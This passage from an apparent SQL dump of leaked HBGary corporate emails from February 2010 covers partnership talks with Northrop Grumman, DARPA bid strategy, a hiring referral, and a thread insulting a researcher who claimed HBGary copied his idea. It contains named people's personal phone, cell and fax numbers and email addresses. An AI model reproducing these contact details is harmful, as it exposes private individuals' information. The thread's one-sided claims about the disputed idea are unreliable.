Inc.\r\n\r\n\r\n\r\n',7899,'aaron_hbgary_com/7899.html'),(2456,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001132.M563796P3547Q2457.eml','\"Barr Aaron\" <aaron@hbgary.com>','Process','I added much more detail to the RE Process charts, take a look in the\r\ncloud -- although it\'s still lacking.  Hopefully Rich or Phil can\r\nprovide some input tomorrow.  I\'m done for the night.\r\n\r\nTed\r\n',13642,'aaron_hbgary_com/13642.html'),(2457,'2010-02-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001132.M72841P3547Q2455.eml','\"Aaron Barr\" <aaron@hbgary.com>','Your conference call with GD','Aaron,\r\n \r\nChris Starr said he wanted HBGary to talk to Mike Harbison and Jason Upchurch to discuss the needs of DC3.  FYI, Harbison and Upchurch are both hard core reverse engineering guys.  I&#39;m thinking it might be a good idea to have Martin or Shawn on the call with you as they know the innards of HBGary&#39;s software.  I&#39;d say Martin is the stronger overall engineer, and Shawn might know DDNA better.  Harbison and Upchurch are both good guys, but HBGary&#39;s software hasn&#39;t been good enough for them up through ver 1.5.\r\n\r\n \r\nBob\r\n',12894,'aaron_hbgary_com/12894.html'),(2458,'2010-02-11','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297001132.M774171P3547Q2458.eml','all@hbgary.com','Dark Reading post with Greg\'s quotes hit slashdot','\r\nhttp://yro.slashdot.org/story/10/02/11/011257/Experts-Closing-In-On-Google-Attack-Coders?\r\n\r\nSo if www.hbgary.com goes down we can attribute it to the slashdot effect...\r\n\r\n- Martin\r\n',12315,'aaron_hbgary_com/12315.html'),(2459,'2010-02-11','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297001133.M314832P3547Q2460.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 2/11/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Feb 4 - Feb 11\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   David Lirette has an updated profile (Industry, Headline, Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Bill Russell has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Olga Knobel has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Stu Shea\r\nis now connected to\r\n            John Briggs\r\n,             Laura Larson\r\n,             Jason Siegel\r\n,       and 1 other person.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Nolan Clifford\r\nis now connected to\r\n            Bill Kalogeros\r\n,             Bob Whitkop\r\n,             James Plehal\r\n,       and 1 other person.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Bill Hornish\r\nis now connected to\r\n            Lynn Aylward\r\n             and \r\n            Thomas McDonald\r\n             \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Ugh: US HAZARDS ASSESSMENT SYNOPSIS: &quot;ANOTHER WINTER STORM IS FORECAST FOR THE EAST COAST AT THE BEGINNING OF NEXT WEEK.&quot;  Enough already!\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Kevin Halemartin has joined 2 groups, including\r\n      \r\n      Zweibrucken American High School\r\n      and\r\n      The Intelligence Community (IC)\r\n              \r\n            \r\n            \r\n              \r\n\r\n    angela fugate has joined\r\n    Colorado Springs Real Estate Experts\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Nolan Clifford\r\n                  \r\n                     is interested in \r\n                  \r\n                    ISACA National Capital Area Chapter Conference for DoD Community\r\n                  \r\n                     on February 23, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Nolan Clifford\r\n                  \r\n                     will be attending \r\n                  \r\n                    6th Annual Government Forum of Incident Response and Security Teams (GFIRST) Conference\r\n                  \r\n                     on August 15, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',16286,'aaron_hbgary_com/16286.html'),(2460,'2010-02-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001133.M637962P3547Q2461.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Mandiant twitter post today','did they tweet that they were quoted? or were they commenting on the article?\r\n\r\nOn Wed, Feb 10, 2010 at 6:10 PM, Aaron Barr  wrote:\r\n> About the aurora article in dark reading  is classic.  Mandia was\r\n> quoted. :)\r\n>\r\n>\r\n>\r\n>  From my iPhone\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',2055,'aaron_hbgary_com/2055.html'),(2461,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001133.M88047P3547Q2459.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Further discussion','Question.  Once we start this can I put out a press release to say HBGary federal partners with Northrop to build next generation threat intelligence center?Aaron\r\nFrom my iPhoneOn Feb 10, 2010, at 9:49 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nCrap!  Gotta go commercial.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 10 20:43:09 2010Subject: Re: Further discussion\r\n\r\nOur efforts with palantir are a subset of the bigger picture.  We are pushing the rock a little the irad pushes it a lot.Normal charges for commercial work are 300-400 am hour.  Are u over that? :)\r\n\r\nTalk to you tomorrow.AaronFrom my iPhoneOn Feb 10, 2010, at 9:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThanks for the SOW.  I will send an email to Bob Shows.\r\n\r\nNo need to apologize.  I understand the pressure.  If\r\nI could help you out sooner, I would.\r\n\r\n \r\n\r\nWe can turn proposals pretty fast as we have approval authority\r\nto 5M on-site.\r\n\r\nAs far as ES and the partnership, it looks pretty set. \r\nJadik gave us his ok.  Xetron gets NCTAs every year.  The money for\r\nthe integration is coming out of my IRAD budget.  I don’t have to\r\nget approval as long as I can project an ROI.  The money is already\r\nbudgeted.  Just my butt on the line.  I have talked to AC&amp;TD\r\nabout this (at the working level) and they support it.  Bill and I are all\r\nover this.  Now with Jadik’s cover, we are good.  \r\n\r\n \r\n\r\nHow does the HBGary/Palantir integration work compare/influence\r\nwhat we are doing?  What is the end goal of that compared to what we are\r\ndoing?  EndGame did offer up a cut of their US data.  Hopefully, when\r\nwe partner up for joint efforts, they will give us access to some of their\r\nother data to look at what integration opportunities exist.  As soon as we\r\nget the US data cut, we are going to have to figure out what in the data will\r\nmake the best demo.  As I said, we got 10 Flt in mid March.  We need\r\nto move quick.\r\n\r\n \r\n\r\nI would like to get in on your QRC work as well but I am\r\nconcerned that our costs will be too high compared to Foundstone.  But,\r\ncommercial rates can be pretty high at times.  We’ll have to work\r\nthat.  I know our guys will kill on it though.\r\n\r\n \r\n\r\nTalk to you tomorrow.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Further discussion\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGreat news on the support to go forward with the IRAD.\r\n Sorry I have been a bit out of touch but Penny has been putting on the\r\npressure to bring in funds so I have been busy chasing immediate work.  The\r\nlong term benefit of what we are putting together will but HBGary Federal\r\nsolidly on the map, but I need to make sure we are around to reep the benefits.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would have tried to work with you and the NG system on the\r\nOSI RFP but the due date is 22 Feb. and who knows how long it would have taken\r\nyou to break that through the NG system.  Once we get something built we\r\nwill be able to really push that out through many fronts.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI know what your thoughts are on partnership on this with\r\nHBGary Federal but do you get a sense on how the larger ES feels?  I would\r\nlike to be your partner side by side in this but I realize its NG money.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLike you I have been in regular conversation with EndGames,\r\nPalantir, Netwitness, and all are still very eager to get this party started.\r\n HBGary and Palantir are starting to work the integration, Endgames is\r\nsupposed to be sending me some aurora data, but on the malware stuff.  I\r\nguess they have a bunch of external aurora information but were not willing to\r\nshare it with us at this moment, they said maybe in a bit.  Maybe you can\r\nhave diffferent success as the &quot;big&quot; integrator.  Definatley\r\nwant to sit down and talk about the nuts and bolts going forward with the IRAD,\r\netc.  Man really exciting.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI would like to get you involved as my partner for Incident\r\nResponse for our QRC gigs.  RIght now I am using foundstone and PwC.\r\n Don&#39;t know what that would take, happen gradually over time.  We are\r\ngoing to do Duponts network next week.  They are pretty sure the chinese\r\nare all over their networks.  I am going down there to sit as a shadow and\r\nlearn the ropes since Federal will be taking the lead for all of these.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is the AF OSI RFP.  We are a sub to MacB.\r\n This is a huge contract vehicle and Northrop is on it, having stolen it\r\nfrom TASC.  It probably resides with DSD, maybe check with Bob Shows or\r\nGeb.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12022,'aaron_hbgary_com/12022.html'),(2462,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001133.M942831P3547Q2462.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Mandiant twitter post today','They tweeted that mandia was quoted in the article.\r\n\r\n From my iPhone\r\n\r\nOn Feb 11, 2010, at 7:18 AM, Penny Leavy  wrote:\r\n\r\n> did they tweet that they were quoted? or were they commenting on the\r\n> article?\r\n>\r\n> On Wed, Feb 10, 2010 at 6:10 PM, Aaron Barr  wrote:\r\n>> About the aurora article in dark reading  is classic.  Mandia was\r\n>> quoted. :)\r\n>>\r\n>>\r\n>>\r\n>>  From my iPhone\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n',15899,'aaron_hbgary_com/15899.html'),(2463,'2010-02-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001134.M148056P3547Q2463.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Mandiant twitter post today','How lame is that???  Good Lord, are they \"that\" desprate for press?\r\n\r\nOn Thu, Feb 11, 2010 at 4:20 AM, Aaron Barr  wrote:\r\n> They tweeted that mandia was quoted in the article.\r\n>\r\n>  From my iPhone\r\n>\r\n> On Feb 11, 2010, at 7:18 AM, Penny Leavy  wrote:\r\n>\r\n>> did they tweet that they were quoted? or were they commenting on the\r\n>> article?\r\n>>\r\n>> On Wed, Feb 10, 2010 at 6:10 PM, Aaron Barr  wrote:\r\n>>> About the aurora article in dark reading  is classic.  Mandia was\r\n>>> quoted. :)\r\n>>>\r\n>>>\r\n>>>\r\n>>>  From my iPhone\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',7980,'aaron_hbgary_com/7980.html'),(2464,'2010-02-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001134.M367666P3547Q2464.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Editorial Board Invite','OK this is weird, I thought this guy worked for mandiant based upon a conversation with Rich.  Greg I guess you aren&#39;t as &quot;elite&quot; as Phil:)  Phil should call and see what this is about.  It&#39;s nice we are first, notice, the entry on the list.  This is kind of a conflict of interest isn&#39;t it?  It&#39;s obvious that this  guy does not know his recommendations, since he mi-spelled their names and I would beat DARPA is going to be upset because it &quot;ties&quot; Crucial.  Also notice the Fireeye ties.  \r\n\r\n---------- Forwarded message ----------From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Wed, Feb 10, 2010 at 5:56 PMSubject: Editorial Board InviteTo: phil@hbgary.comCc: penny@hbgary.com\r\n\r\n\r\n\r\n\r\nHi Phil, Just want to be sure you saw this\r\nhttp://diocyde.wordpress.com/2010/02/10/announcing-invites-for-technical-author-and-submission-editorial-board-for-malware-dna-knowledgebase/\r\n-- Penny C. LeavyHBGary, Inc.\r\n',16273,'aaron_hbgary_com/16273.html'),(2465,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001134.M658873P3547Q2465.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Re: Editorial Board Invite','Fuk that!This guy call us pagerists!Researcher wants hacker groups hounded mercilesslyBotnet expert Joe Stewart says ’special ops’ teams could thwart cybercriminalsThese concepts I have discussed in great depth in some of my earlier posts such as ourSpotlight Shine Bright&nbsp;series, and my&nbsp;I call Shenanigans, and&nbsp;BBC Wussy Robin Hood articles.On a seperate yet personally disappointing note.A technology company employing some of the best and the brightest in the field just released an update to their product that almost completely copies my original research.The company is called&nbsp;HBGary&nbsp;lead by the guys that literaly wrote the book on Rootkits.&nbsp; I would&nbsp; be very interested to know how they originated the idea considering I discussed it with them while I was thinking about working for them last year in the DC area.&nbsp; However it was so long ago that I can’t remember what was discussed and at the time while I was fleshing out the concept and laying out my research it never got beyond the pre-prototype stage.Its entirely possible that they came up with it on their own, there was no prior research published at least via Google when I did my prior work search on the concept.&nbsp; HBGary seems to have done a good implementation job jumping on the concept calling it Digital DNA and incorporating it into their flagship product the Responder Pro.&nbsp; Which seems to be a very well put together system.I was working on a patent pending revolutionary concept and system called Malware DNA and the Simple Malware Analysis for the Security Operator (SMASO).&nbsp; This concept I was prototyping on my own with some associates since last August 2008/September 2008 until just recently.On Feb 11, 2010, at 7:33 AM, Penny Leavy wrote:OK this is weird, I thought this guy worked for mandiant based upon a conversation with Rich.&nbsp; Greg I guess you aren\'t as \"elite\" as Phil:)&nbsp; Phil should call and see what this is about.&nbsp; It\'s nice we are first, notice, the entry on the list.&nbsp; This is kind of a conflict of interest isn\'t it?&nbsp; It\'s obvious that this&nbsp; guy does not know his recommendations, since he mi-spelled their names and I would beat DARPA is going to be upset because it \"ties\" Crucial.&nbsp; Also notice the Fireeye ties.&nbsp; \r\n\r\n---------- Forwarded message ----------From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Wed, Feb 10, 2010 at 5:56 PMSubject: Editorial Board InviteTo: phil@hbgary.comCc: penny@hbgary.com\r\n\r\n\r\n\r\n\r\nHi Phil, Just want to be sure you saw this\r\nhttp://diocyde.wordpress.com/2010/02/10/announcing-invites-for-technical-author-and-submission-editorial-board-for-malware-dna-knowledgebase/\r\n-- Penny C. LeavyHBGary, Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2254,'aaron_hbgary_com/2254.html'),(2466,'2010-02-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001134.M870961P3547Q2466.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Editorial Board Invite','Yes I know, I&#39;l give you a call\r\nOn Thu, Feb 11, 2010 at 4:42 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFuk that! \r\n\r\nThis guy call us pagerists!\r\n\r\n\r\n\r\nResearcher wants hacker groups hounded mercilessly\r\nBotnet expert Joe Stewart says ’special ops’ teams could thwart cybercriminals\r\n\r\nThese concepts I have discussed in great depth in some of my earlier posts such as ourSpotlight Shine Bright series, and my I call Shenanigans, and BBC Wussy Robin Hood articles.\r\n\r\nOn a seperate yet personally disappointing note.\r\nA technology company employing some of the best and the brightest in the field just released an update to their product that almost completely copies my original research.\r\nThe company is called HBGary lead by the guys that literaly wrote the book on Rootkits.  I would  be very interested to know how they originated the idea considering I discussed it with them while I was thinking about working for them last year in the DC area.  However it was so long ago that I can’t remember what was discussed and at the time while I was fleshing out the concept and laying out my research it never got beyond the pre-prototype stage.\r\n\r\n\r\nIts entirely possible that they came up with it on their own, there was no prior research published at least via Google when I did my prior work search on the concept.  HBGary seems to have done a good implementation job jumping on the concept calling it Digital DNA and incorporating it into their flagship product the Responder Pro.  Which seems to be a very well put together system.\r\n\r\nI was working on a patent pending revolutionary concept and system called Malware DNA and the Simple Malware Analysis for the Security Operator (SMASO).  This concept I was prototyping on my own with some associates since last August 2008/September 2008 until just recently.\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 11, 2010, at 7:33 AM, Penny Leavy wrote:\r\nOK this is weird, I thought this guy worked for mandiant based upon a conversation with Rich.  Greg I guess you aren&#39;t as &quot;elite&quot; as Phil:)  Phil should call and see what this is about.  It&#39;s nice we are first, notice, the entry on the list.  This is kind of a conflict of interest isn&#39;t it?  It&#39;s obvious that this  guy does not know his recommendations, since he mi-spelled their names and I would beat DARPA is going to be upset because it &quot;ties&quot; Crucial.  Also notice the Fireeye ties.  \r\n\r\n---------- Forwarded message ----------From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Wed, Feb 10, 2010 at 5:56 PMSubject: Editorial Board InviteTo: phil@hbgary.comCc: penny@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nHi Phil, Just want to be sure you saw this\r\nhttp://diocyde.wordpress.com/2010/02/10/announcing-invites-for-technical-author-and-submission-editorial-board-for-malware-dna-knowledgebase/\r\n-- Penny C. LeavyHBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Penny C. LeavyHBGary, Inc.\r\n',4423,'aaron_hbgary_com/4423.html'),(2467,'2010-02-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001135.M376528P3547Q2468.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Your conference call with GD','Haha.  Got it.  I continue to struggle with this &quot;5 year window&quot;.  It is so ingrained into HBGary to stretch dollars to &quot;develop&quot; commercial software fast.  DARPA is about &quot;research&quot; that likely never sees the light of day.  The more I come to grips with this, the more I see this as primarily an HBGary Fed project to do &quot;cool stuff&quot;.  And if we win, then a few key nuggets could end up with HBGary Inc in support.\r\n\r\n \r\nOn Wed, Feb 10, 2010 at 11:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats cool.  I don&#39;t mind having either one of their brains, but I have to tell you that if we are getting down in the weeds about HBGary software and Malware analysis I think we will not get an award.  This is about large scale data management, data tagging, correlation, with the exception of the 3rd task which is rock solid in the bag ours.  Tech area 1 and 2 are about how to characterize data, analyze, correlate, etc.\r\nBut if they want to talk tech area 3 then it would be good to have one of them on, but again, we don&#39;t want to get down in the weeds about the art of today this is about the art of 5 years from now.Aaron\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 11:22 PM, Bob Slapnik wrote:&gt; Aaron,&gt;&gt; Chris Starr said he wanted HBGary to talk to Mike Harbison and Jason Upchurch to discuss the needs of DC3.  FYI, Harbison and Upchurch are both hard core reverse engineering guys.  I&#39;m thinking it might be a good idea to have Martin or Shawn on the call with you as they know the innards of HBGary&#39;s software.  I&#39;d say Martin is the stronger overall engineer, and Shawn might know DDNA better.  Harbison and Upchurch are both good guys, but HBGary&#39;s software hasn&#39;t been good enough for them up through ver 1.5.\r\n&gt;&gt; BobAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104\r\nbob@hbgary.com\r\n',9106,'aaron_hbgary_com/9106.html'),(2468,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001135.M585805P3547Q2469.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Your conference call with GD','You got it.My strategy is.Leveraging key minds within HBGary we come up with the SciFi concepts that DARPA loves. &nbsp;We win an award and get to build a capability that is far reaching, in the process HBGary products continue to evolve and we make sure they meet in the middle so HBGary product is well placed and headed in line with the governments future developments.Also in parallel, we are going to build with Northrop R&amp;D immediate capabilities to build a threat intelligence capability. &nbsp;This capability will also bring more structure and process to the IR work. &nbsp;We will be able to help the government better defend its systems by providing them intelligence on the evolving threat, plus we will do IR work better and cheaper because we have tools, process that makes it more efficient.AaronOn Feb 11, 2010, at 8:41 AM, Bob Slapnik wrote:Haha.&nbsp; Got it.&nbsp; I continue to struggle with this \"5 year window\".&nbsp; It is so ingrained into HBGary to stretch dollars to \"develop\" commercial software fast.&nbsp; DARPA is about \"research\" that likely never sees the light of day.&nbsp; The more I come to grips with this, the more I see this as primarily an HBGary Fed project to do \"cool stuff\".&nbsp; And if we win, then a few key nuggets could end up with HBGary Inc in support.\r\n\r\n&nbsp;\r\nOn Wed, Feb 10, 2010 at 11:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats cool. &nbsp;I don\'t mind having either one of their brains, but I have to tell you that if we are getting down in the weeds about HBGary software and Malware analysis I think we will not get an award. &nbsp;This is about large scale data management, data tagging, correlation, with the exception of the 3rd task which is rock solid in the bag ours. &nbsp;Tech area 1 and 2 are about how to characterize data, analyze, correlate, etc.\r\nBut if they want to talk tech area 3 then it would be good to have one of them on, but again, we don\'t want to get down in the weeds about the art of today this is about the art of 5 years from now.Aaron\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 11:22 PM, Bob Slapnik wrote:&gt; Aaron,&gt;&gt; Chris Starr said he wanted HBGary to talk to Mike Harbison and Jason Upchurch to discuss the needs of DC3. &nbsp;FYI, Harbison and Upchurch are both hard core reverse engineering guys. &nbsp;I\'m thinking it might be a good idea to have Martin or Shawn on the call with you as they know the innards of HBGary\'s software. &nbsp;I\'d say Martin is the stronger overall engineer, and Shawn might know DDNA better. &nbsp;Harbison and Upchurch are both good guys, but HBGary\'s software hasn\'t been good enough for them up through ver 1.5.\r\n&gt;&gt; BobAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104\r\nbob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11401,'aaron_hbgary_com/11401.html'),(2469,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001135.M847264P3547Q2470.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Your conference call with GD','Begin forwarded message:From: Bob Slapnik &lt;bob@hbgary.com&gt;Date: February 11, 2010 8:41:54 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Your conference call with GDHaha.&nbsp; Got it.&nbsp; I continue to struggle with this \"5 year window\".&nbsp; It is so ingrained into HBGary to stretch dollars to \"develop\" commercial software fast.&nbsp; DARPA is about \"research\" that likely never sees the light of day.&nbsp; The more I come to grips with this, the more I see this as primarily an HBGary Fed project to do \"cool stuff\".&nbsp; And if we win, then a few key nuggets could end up with HBGary Inc in support.\r\n\r\n&nbsp;\r\nOn Wed, Feb 10, 2010 at 11:28 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThats cool. &nbsp;I don\'t mind having either one of their brains, but I have to tell you that if we are getting down in the weeds about HBGary software and Malware analysis I think we will not get an award. &nbsp;This is about large scale data management, data tagging, correlation, with the exception of the 3rd task which is rock solid in the bag ours. &nbsp;Tech area 1 and 2 are about how to characterize data, analyze, correlate, etc.\r\nBut if they want to talk tech area 3 then it would be good to have one of them on, but again, we don\'t want to get down in the weeds about the art of today this is about the art of 5 years from now.Aaron\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 11:22 PM, Bob Slapnik wrote:&gt; Aaron,&gt;&gt; Chris Starr said he wanted HBGary to talk to Mike Harbison and Jason Upchurch to discuss the needs of DC3. &nbsp;FYI, Harbison and Upchurch are both hard core reverse engineering guys. &nbsp;I\'m thinking it might be a good idea to have Martin or Shawn on the call with you as they know the innards of HBGary\'s software. &nbsp;I\'d say Martin is the stronger overall engineer, and Shawn might know DDNA better. &nbsp;Harbison and Upchurch are both good guys, but HBGary\'s software hasn\'t been good enough for them up through ver 1.5.\r\n&gt;&gt; BobAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104\r\nbob@hbgary.com\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7587,'aaron_hbgary_com/7587.html'),(2470,'2010-02-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001135.M85124P3547Q2467.eml','\"Sinan Eren\" <sinan@pretoinc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: friend referral','Hi Sinan,\r\n\r\nWe might be interested, would he be willing to move?  I\'m also copying\r\nAaron Barr the CEO of HBGary Federal as well, he might have a need\r\n\r\nOn Wed, Feb 10, 2010 at 10:37 AM, Sinan Eren  wrote:\r\n>\r\n> Hi Penny,\r\n>\r\n> I remember sometime ago, you mentioning a RE/malware analyst position at\r\n> HBGary. I have very close friend in mind, that is looking for such a\r\n> position. He is top notch reverse engineer and previously worked with\r\n> Zynamics on their binnavi product line. There is one catch, he is from\r\n> Brazil and is looking for remote/consulting opportunities at the moment\r\n> but he might be open for relocation later on. What do you think ? Any\r\n> such open positions that I can formally refer him ?\r\n>\r\n> cheers,\r\n> --\r\n> Sinan Eren\r\n> (+1) 650-283-2559\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',12701,'aaron_hbgary_com/12701.html'),(2471,'2010-02-11','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001136.M317972P3547Q2472.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Editorial Board Invite','Yeah Aaron I know this guy and he is a little wanna be poser ankle-slapper... The facts are this:1.  We never offered him work2.  He never mentioned *any* ideas that were new and fresh in my mind ever... I taught this guy incident response when he was still learning to wipe the snot from his nose...\r\n3.  He probably told Toyota about his idea for a hybrid car called &quot;Pre-US&quot; too.4.  I like how he has made himself the self proclaimed expert on malware analysis and Digital DNA history... laughable.\r\nOn Thu, Feb 11, 2010 at 7:42 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFuk that!This guy call us pagerists!\r\nResearcher wants hacker groups hounded mercilesslyBotnet expert Joe Stewart says ’special ops’ teams could thwart cybercriminals\r\nThese concepts I have discussed in great depth in some of my earlier posts such as ourSpotlight Shine Bright series, and my I call Shenanigans, and BBC Wussy Robin Hood articles.\r\nOn a seperate yet personally disappointing note.A technology company employing some of the best and the brightest in the field just released an update to their product that almost completely copies my original research.\r\nThe company is called HBGary lead by the guys that literaly wrote the book on Rootkits.  I would  be very interested to know how they originated the idea considering I discussed it with them while I was thinking about working for them last year in the DC area.  However it was so long ago that I can’t remember what was discussed and at the time while I was fleshing out the concept and laying out my research it never got beyond the pre-prototype stage.\r\n\r\nIts entirely possible that they came up with it on their own, there was no prior research published at least via Google when I did my prior work search on the concept.  HBGary seems to have done a good implementation job jumping on the concept calling it Digital DNA and incorporating it into their flagship product the Responder Pro.  Which seems to be a very well put together system.\r\nI was working on a patent pending revolutionary concept and system called Malware DNA and the Simple Malware Analysis for the Security Operator (SMASO).  This concept I was prototyping on my own with some associates since last August 2008/September 2008 until just recently.\r\nOn Feb 11, 2010, at 7:33 AM, Penny Leavy wrote:OK this is weird, I thought this guy worked for mandiant based upon a conversation with Rich.  Greg I guess you aren&#39;t as &quot;elite&quot; as Phil:)  Phil should call and see what this is about.  It&#39;s nice we are first, notice, the entry on the list.  This is kind of a conflict of interest isn&#39;t it?  It&#39;s obvious that this  guy does not know his recommendations, since he mi-spelled their names and I would beat DARPA is going to be upset because it &quot;ties&quot; Crucial.  Also notice the Fireeye ties.  \r\n\r\n\r\n---------- Forwarded message ----------From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\n\r\nDate: Wed, Feb 10, 2010 at 5:56 PMSubject: Editorial Board InviteTo: phil@hbgary.comCc: penny@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nHi 